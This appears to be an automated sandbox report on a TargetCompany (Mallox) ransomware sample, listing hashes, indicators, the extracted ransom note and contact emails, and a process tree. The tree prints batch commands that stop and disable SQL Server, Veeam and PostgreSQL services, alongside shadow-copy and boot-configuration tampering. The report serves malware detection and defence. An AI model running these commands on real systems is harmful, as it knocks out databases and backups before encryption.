targetcompany | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb

General

Target

InternalCrossContextDelega.exe
Size

429KB
MD5

22367699e131a9d98f842a1003fd193a
SHA1

c275084d65f845b4d957c05b874fade071193468
SHA256

a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb
SHA512

26aedfe2eede18f72425f37d57fde838466345187f1df365528b0798a2f323badfbbb4f3b5571c4ea554cdb757dc0b7b2f7c87f5ae88c6e2cee41eaa92b6e828

Score

10^/10

targetcompany evasion ransomware

Malware Config

Extracted

Path

C:\Users\Admin\RECOVERY INFORMATION.txt

Ransom Note

YOUR FILES ARE ENCRYPTED !!! TO DECRYPT, FOLLOW THE INSTRUCTIONS: To recover data you need decrypt tool. To get the decrypt tool you should: 1.In the letter include your personal ID! Send me this ID in your first email to me! 2.We can give you free test for decrypt few files (NOT VALUE) and assign the price for decryption all files! 3.After we send you instruction how to pay for decrypt tool and after payment you will receive a decryption tool! 4.We can decrypt few files in quality the evidence that we have the decoder. CONTACT US: recohelper@cock.li mallox@tutanota.com YOUR PERSONAL ID: 80323638DFC1 �

Emails

recohelper@cock.li

mallox@tutanota.com

Signatures

TargetCompany
Ransomware which encrypts files using a combination of ChaCha20, AES-128, and Curve25519, first seen in June 2021.
ransomware targetcompany

TargetCompany Payload 6 IoCs

Processes:

resource	yara_rule
behavioral1/memory/560-64-0x0000000000400000-0x0000000000428000-memory.dmp	family_targetcompany
behavioral1/memory/560-65-0x0000000000400000-0x0000000000428000-memory.dmp	family_targetcompany
behavioral1/memory/560-66-0x0000000000400000-0x0000000000428000-memory.dmp	family_targetcompany
behavioral1/memory/560-70-0x0000000000400000-0x0000000000428000-memory.dmp	family_targetcompany
behavioral1/memory/560-72-0x000000000040AF56-mapping.dmp	family_targetcompany
behavioral1/memory/560-91-0x0000000000400000-0x0000000000428000-memory.dmp	family_targetcompany

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

2576 bcdedit.exe
2568 bcdedit.exe

pid	process
2576	bcdedit.exe
2568	bcdedit.exe

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

InternalCrossContextDelega.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\CloseSync.crw => C:\Users\Admin\Pictures\CloseSync.crw.mallox	InternalCrossContextDelega.exe
File renamed	C:\Users\Admin\Pictures\WatchSearch.png => C:\Users\Admin\Pictures\WatchSearch.png.mallox	InternalCrossContextDelega.exe
File renamed	C:\Users\Admin\Pictures\InitializeMeasure.png => C:\Users\Admin\Pictures\InitializeMeasure.png.mallox	InternalCrossContextDelega.exe
File renamed	C:\Users\Admin\Pictures\MergeUninstall.tif => C:\Users\Admin\Pictures\MergeUninstall.tif.mallox	InternalCrossContextDelega.exe
File renamed	C:\Users\Admin\Pictures\MeasureMerge.raw => C:\Users\Admin\Pictures\MeasureMerge.raw.mallox	InternalCrossContextDelega.exe
File renamed	C:\Users\Admin\Pictures\CloseOut.tif => C:\Users\Admin\Pictures\CloseOut.tif.mallox	InternalCrossContextDelega.exe
File renamed	C:\Users\Admin\Pictures\UnblockExport.crw => C:\Users\Admin\Pictures\UnblockExport.crw.mallox	InternalCrossContextDelega.exe
File renamed	C:\Users\Admin\Pictures\EnterReceive.crw => C:\Users\Admin\Pictures\EnterReceive.crw.mallox	InternalCrossContextDelega.exe

Modifies service settings 1 TTPs
Alters the configuration of existing services.
evasion

Modify Existing Service
T1031
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

InternalCrossContextDelega.exe

description	ioc	process
File opened (read-only)	\??\G:	InternalCrossContextDelega.exe
File opened (read-only)	\??\P:	InternalCrossContextDelega.exe
File opened (read-only)	\??\S:	InternalCrossContextDelega.exe
File opened (read-only)	\??\W:	InternalCrossContextDelega.exe
File opened (read-only)	\??\B:	InternalCrossContextDelega.exe
File opened (read-only)	\??\E:	InternalCrossContextDelega.exe
File opened (read-only)	\??\M:	InternalCrossContextDelega.exe
File opened (read-only)	\??\O:	InternalCrossContextDelega.exe
File opened (read-only)	\??\V:	InternalCrossContextDelega.exe
File opened (read-only)	\??\Y:	InternalCrossContextDelega.exe
File opened (read-only)	\??\A:	InternalCrossContextDelega.exe
File opened (read-only)	\??\L:	InternalCrossContextDelega.exe
File opened (read-only)	\??\N:	InternalCrossContextDelega.exe
File opened (read-only)	\??\Q:	InternalCrossContextDelega.exe
File opened (read-only)	\??\R:	InternalCrossContextDelega.exe
File opened (read-only)	\??\T:	InternalCrossContextDelega.exe
File opened (read-only)	\??\U:	InternalCrossContextDelega.exe
File opened (read-only)	\??\X:	InternalCrossContextDelega.exe
File opened (read-only)	\??\J:	InternalCrossContextDelega.exe
File opened (read-only)	\??\K:	InternalCrossContextDelega.exe
File opened (read-only)	\??\I:	InternalCrossContextDelega.exe
File opened (read-only)	\??\Z:	InternalCrossContextDelega.exe
File opened (read-only)	\??\F:	InternalCrossContextDelega.exe
File opened (read-only)	\??\H:	InternalCrossContextDelega.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

InternalCrossContextDelega.exe

description pid process target process

PID 1952 set thread context of 560 1952 InternalCrossContextDelega.exe InternalCrossContextDelega.exe

description	pid	process	target process
PID 1952 set thread context of 560	1952	InternalCrossContextDelega.exe	InternalCrossContextDelega.exe

Drops file in Program Files directory 64 IoCs

Processes:

InternalCrossContextDelega.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0293236.WMF	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Lisbon	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\3082\MSO.ACL	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\Blog.dotx	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Mahe	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00923_.WMF	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0227558.JPG	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.TLB	InternalCrossContextDelega.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\jfr\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\java.security	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Bahia	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.nl_zh_4.4.0.v20140623020002.jar	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\Publisher\Backgrounds\WB02073_.GIF	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Sitka	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PROOF\MSSP7FR.dub	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR51B.GIF	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\FormsBrowserUpgrade.html	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Pyongyang	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR37F.GIF	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\Calendar\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0187859.WMF	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\YST9	InternalCrossContextDelega.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14981_.GIF	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0341554.JPG	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02054_.WMF	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-swing-plaf.jar	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH00625_.WMF	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0198447.WMF	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SY01253_.WMF	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Jamaica	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification.zh_CN_5.5.0.165303.jar	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\OMSSMS.CFG	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\MSACCESS_K_COL.HXK	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Atlantic\Madeira	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\QuickStyles\Distinctive.dotx	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.httpcomponents.httpcore_4.2.5.v201311072007.jar	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\.lastModified	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-core-multiview.xml	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-execution_zh_CN.jar	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\ECLIPSE_.SF	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\PrivateAssemblies\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\Bibliography\Style\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\La_Rioja	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Christmas	InternalCrossContextDelega.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\RECOVERY INFORMATION.txt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\Assets.accdt	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR24F.GIF	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\OriginLetter.Dotx	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\VDK10.STD	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Abidjan	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01298_.GIF	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-util-enumerations.jar	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sa_zh_CN.jar	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Riga	InternalCrossContextDelega.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\EST5EDT	InternalCrossContextDelega.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Discovers systems in the same network 1 TTPs 2 IoCs
discovery

Remote System Discovery
T1018

Processes:

net.exenet.exe

pid process

3048 net.exe
2752 net.exe
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

1376 vssadmin.exe

pid	process
3048	net.exe
2752	net.exe

pid	process
1376	vssadmin.exe

Kills process with taskkill 64 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
540	taskkill.exe
1660
3012
2476	taskkill.exe
868	taskkill.exe
1928
1564
1652
276	taskkill.exe
1660	taskkill.exe
1748
2128
2460	taskkill.exe
2244
2352
1744
2796	taskkill.exe
2752	taskkill.exe
2784	taskkill.exe
2976	taskkill.exe
968
2008
2128
2432
2936	taskkill.exe
2164	taskkill.exe
2856	taskkill.exe
1912	taskkill.exe
2920	taskkill.exe
2704	taskkill.exe
2324	taskkill.exe
1632	taskkill.exe
2912	taskkill.exe
1784	taskkill.exe
2812
1628
2852
1928
2484
2808	taskkill.exe
2468	taskkill.exe
2932
2936
1984
2208
3020	taskkill.exe
1636	taskkill.exe
1124
2800
2500
1124	taskkill.exe
2132
2432
1504
2388	taskkill.exe
632	taskkill.exe
2940
2972
3052
1452
2460	taskkill.exe
2940	taskkill.exe
1784
2984

Runs net.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

InternalCrossContextDelega.exe

pid process

560 InternalCrossContextDelega.exe

pid	process
560	InternalCrossContextDelega.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

InternalCrossContextDelega.exeInternalCrossContextDelega.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exevssvc.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	1952	InternalCrossContextDelega.exe
Token: SeTakeOwnershipPrivilege	560	InternalCrossContextDelega.exe
Token: SeDebugPrivilege	560	InternalCrossContextDelega.exe
Token: SeDebugPrivilege	1896	taskkill.exe
Token: SeDebugPrivilege	2000	taskkill.exe
Token: SeDebugPrivilege	668	taskkill.exe
Token: SeDebugPrivilege	1540	taskkill.exe
Token: SeDebugPrivilege	2428	taskkill.exe
Token: SeDebugPrivilege	2764	taskkill.exe
Token: SeDebugPrivilege	2796	taskkill.exe
Token: SeDebugPrivilege	2788	taskkill.exe
Token: SeDebugPrivilege	2804	taskkill.exe
Token: SeBackupPrivilege	2444	vssvc.exe
Token: SeRestorePrivilege	2444	vssvc.exe
Token: SeAuditPrivilege	2444	vssvc.exe
Token: SeDebugPrivilege	2284	taskkill.exe
Token: SeDebugPrivilege	2928	taskkill.exe
Token: SeDebugPrivilege	2924	taskkill.exe
Token: SeDebugPrivilege	2888	taskkill.exe
Token: SeDebugPrivilege	2980	taskkill.exe
Token: SeDebugPrivilege	3008	taskkill.exe
Token: SeDebugPrivilege	3020	taskkill.exe
Token: SeDebugPrivilege	2984	taskkill.exe
Token: SeDebugPrivilege	3000	taskkill.exe
Token: SeDebugPrivilege	3048	taskkill.exe
Token: SeDebugPrivilege	2016	taskkill.exe
Token: SeDebugPrivilege	2868	taskkill.exe
Token: SeDebugPrivilege	2900	taskkill.exe
Token: SeDebugPrivilege	2516	taskkill.exe
Token: SeDebugPrivilege	2968	taskkill.exe
Token: SeDebugPrivilege	2284	taskkill.exe
Token: SeDebugPrivilege	2352	taskkill.exe
Token: SeDebugPrivilege	2580	taskkill.exe
Token: SeDebugPrivilege	1244	taskkill.exe
Token: SeDebugPrivilege	2664	taskkill.exe
Token: SeDebugPrivilege	3016	taskkill.exe
Token: SeDebugPrivilege	2808	taskkill.exe
Token: SeDebugPrivilege	2816	taskkill.exe
Token: SeDebugPrivilege	2148	taskkill.exe
Token: SeDebugPrivilege	2388	taskkill.exe
Token: SeDebugPrivilege	2304	taskkill.exe
Token: SeDebugPrivilege	2784	taskkill.exe
Token: SeDebugPrivilege	2812	taskkill.exe
Token: SeDebugPrivilege	1012	taskkill.exe
Token: SeDebugPrivilege	2936	taskkill.exe
Token: SeDebugPrivilege	2476	taskkill.exe
Token: SeDebugPrivilege	2352	taskkill.exe
Token: SeDebugPrivilege	2128	taskkill.exe
Token: SeDebugPrivilege	1636	taskkill.exe
Token: SeDebugPrivilege	2468	taskkill.exe
Token: SeDebugPrivilege	2984	taskkill.exe
Token: SeDebugPrivilege	2248	taskkill.exe
Token: SeDebugPrivilege	2016	taskkill.exe
Token: SeDebugPrivilege	2856	taskkill.exe
Token: SeDebugPrivilege	796	taskkill.exe
Token: SeDebugPrivilege	2120	taskkill.exe
Token: SeDebugPrivilege	2720	taskkill.exe
Token: SeDebugPrivilege	2436	taskkill.exe
Token: SeDebugPrivilege	2272	taskkill.exe
Token: SeDebugPrivilege	2164	taskkill.exe
Token: SeDebugPrivilege	2132	taskkill.exe
Token: SeDebugPrivilege	2980	taskkill.exe
Token: SeDebugPrivilege	1152	taskkill.exe
Token: SeDebugPrivilege	2220	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

InternalCrossContextDelega.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1952 wrote to memory of 1032	1952	InternalCrossContextDelega.exe	cmd.exe
PID 1952 wrote to memory of 1032	1952	InternalCrossContextDelega.exe	cmd.exe
PID 1952 wrote to memory of 1032	1952	InternalCrossContextDelega.exe	cmd.exe
PID 1952 wrote to memory of 1032	1952	InternalCrossContextDelega.exe	cmd.exe
PID 1952 wrote to memory of 560	1952	InternalCrossContextDelega.exe	InternalCrossContextDelega.exe
PID 1952 wrote to memory of 560	1952	InternalCrossContextDelega.exe	InternalCrossContextDelega.exe
PID 1952 wrote to memory of 560	1952	InternalCrossContextDelega.exe	InternalCrossContextDelega.exe
PID 1952 wrote to memory of 560	1952	InternalCrossContextDelega.exe	InternalCrossContextDelega.exe
PID 1952 wrote to memory of 560	1952	InternalCrossContextDelega.exe	InternalCrossContextDelega.exe
PID 1952 wrote to memory of 560	1952	InternalCrossContextDelega.exe	InternalCrossContextDelega.exe
PID 1952 wrote to memory of 560	1952	InternalCrossContextDelega.exe	InternalCrossContextDelega.exe
PID 1952 wrote to memory of 560	1952	InternalCrossContextDelega.exe	InternalCrossContextDelega.exe
PID 1952 wrote to memory of 560	1952	InternalCrossContextDelega.exe	InternalCrossContextDelega.exe
PID 1032 wrote to memory of 1124	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1124	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1124	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1124	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 632	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 632	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 632	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 632	1032	cmd.exe	cmd.exe
PID 1952 wrote to memory of 560	1952	InternalCrossContextDelega.exe	InternalCrossContextDelega.exe
PID 1952 wrote to memory of 560	1952	InternalCrossContextDelega.exe	InternalCrossContextDelega.exe
PID 1032 wrote to memory of 2032	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 2032	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 2032	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 2032	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1212	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1212	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1212	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1212	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1748	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1748	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1748	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1748	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1920	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1920	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1920	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 1920	1032	cmd.exe	cmd.exe
PID 632 wrote to memory of 1108	632	cmd.exe	sc.exe
PID 632 wrote to memory of 1108	632	cmd.exe	sc.exe
PID 632 wrote to memory of 1108	632	cmd.exe	sc.exe
PID 632 wrote to memory of 1108	632	cmd.exe	sc.exe
PID 1032 wrote to memory of 876	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 876	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 876	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 876	1032	cmd.exe	cmd.exe
PID 2032 wrote to memory of 1540	2032	cmd.exe	taskkill.exe
PID 2032 wrote to memory of 1540	2032	cmd.exe	taskkill.exe
PID 2032 wrote to memory of 1540	2032	cmd.exe	taskkill.exe
PID 2032 wrote to memory of 1540	2032	cmd.exe	taskkill.exe
PID 1124 wrote to memory of 1836	1124	cmd.exe	net.exe
PID 1124 wrote to memory of 1836	1124	cmd.exe	net.exe
PID 1124 wrote to memory of 1836	1124	cmd.exe	net.exe
PID 1124 wrote to memory of 1836	1124	cmd.exe	net.exe
PID 632 wrote to memory of 1740	632	cmd.exe	sc.exe
PID 632 wrote to memory of 1740	632	cmd.exe	sc.exe
PID 632 wrote to memory of 1740	632	cmd.exe	sc.exe
PID 632 wrote to memory of 1740	632	cmd.exe	sc.exe
PID 1032 wrote to memory of 988	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 988	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 988	1032	cmd.exe	cmd.exe
PID 1032 wrote to memory of 988	1032	cmd.exe	cmd.exe
PID 1212 wrote to memory of 2016	1212	cmd.exe	sc.exe

C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe
"C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1952

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\F.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:1032

C:\Windows\SysWOW64\cmd.exe
cmd /c "color b & a & net stop "SQLSERVERAGENT" & net stop "SQLBrowser" & net stop "SQLTELEMETRY" & net stop "MsDtsServer130" & net stop "SSISTELEMETRY130" & net stop "SQLWrite" & net stop "MSSQL$VEEAMSQL2012" & net stop "SQLAgent$VEEAMSQL2012" & net stop "MSSQL" & net stop "SQLAgent" & net stop "MSSQLServerADHelper100" & net stop "MSSQLServerOLAPService" & net stop "MsDtsServer100" & net stop "ReportServer" & net stop "SQLTELEMETRY$HL" & net stop "TMBMServer" & net stop "MSSQL$PROGID" & net stop "MSSQL$WOLTERSKLUWER" & net stop "SQLAgent$PROGID" & net stop "SQLAgent$WOLTERSKLUWER" & net stop "MSSQLFDLauncher$OPTIMA" & net stop "MSSQL$OPTIMA" & net stop "SQLAgent$OPTIMA" & net stop "ReportServer$OPTIMA" & net stop "msftesql$SQLEXPRESS" & net stop "postgresql-x64-9.4" & sc config "MSSQLFDLauncher" start= disabled & sc config "SQLSERVERAGENT" start= disabled & sc config "SQLBrowser" start= disabled & sc config "SQLTELEMETRY" start= disabled & sc config "MsDtsServer130" start= disabled & sc config "SSISTELEMETRY130" start= disabled & sc config "MSSQL$WOLTERSKLUWER" start= disabled & sc config "SQLAgent$PROGID" start= disabled "
3⤵
- Suspicious use of WriteProcessMemory
PID:1124

C:\Windows\SysWOW64\net.exe
net stop "SQLSERVERAGENT"
4⤵
PID:1836

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLSERVERAGENT"
5⤵
PID:916

C:\Windows\SysWOW64\net.exe
net stop "SQLBrowser"
4⤵
PID:1840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLBrowser"
5⤵
PID:1736

C:\Windows\SysWOW64\net.exe
net stop "SQLTELEMETRY"
4⤵
PID:2140

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLTELEMETRY"
5⤵
PID:2276

C:\Windows\SysWOW64\net.exe
net stop "MsDtsServer130"
4⤵
PID:2828

C:\Windows\SysWOW64\net.exe
net stop "SQLWrite"
4⤵
PID:2472

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLWrite"
5⤵
PID:2828

C:\Windows\SysWOW64\net.exe
net stop "SSISTELEMETRY130"
4⤵
PID:2992

C:\Windows\SysWOW64\net.exe
net stop "MSSQL$VEEAMSQL2012"
4⤵
PID:2432

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012"
5⤵
PID:2272

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent$VEEAMSQL2012"
4⤵
PID:2876

C:\Windows\SysWOW64\net.exe
net stop "MSSQL"
4⤵
PID:2964

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQL"
5⤵
PID:2788

C:\Windows\SysWOW64\net.exe
net stop "SQLAgent"
4⤵
PID:2752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "SQLAgent"
5⤵
PID:2992

C:\Windows\SysWOW64\net.exe
net stop "MSSQLServerADHelper100"
4⤵
PID:2964

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLServerADHelper100"
5⤵
PID:2920

C:\Windows\SysWOW64\net.exe
net stop "MSSQLServerOLAPService"
4⤵
PID:2072

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "MSSQLServerOLAPService"
5⤵
PID:2160

C:\Windows\SysWOW64\net.exe
net stop "MsDtsServer100"
4⤵
PID:2876

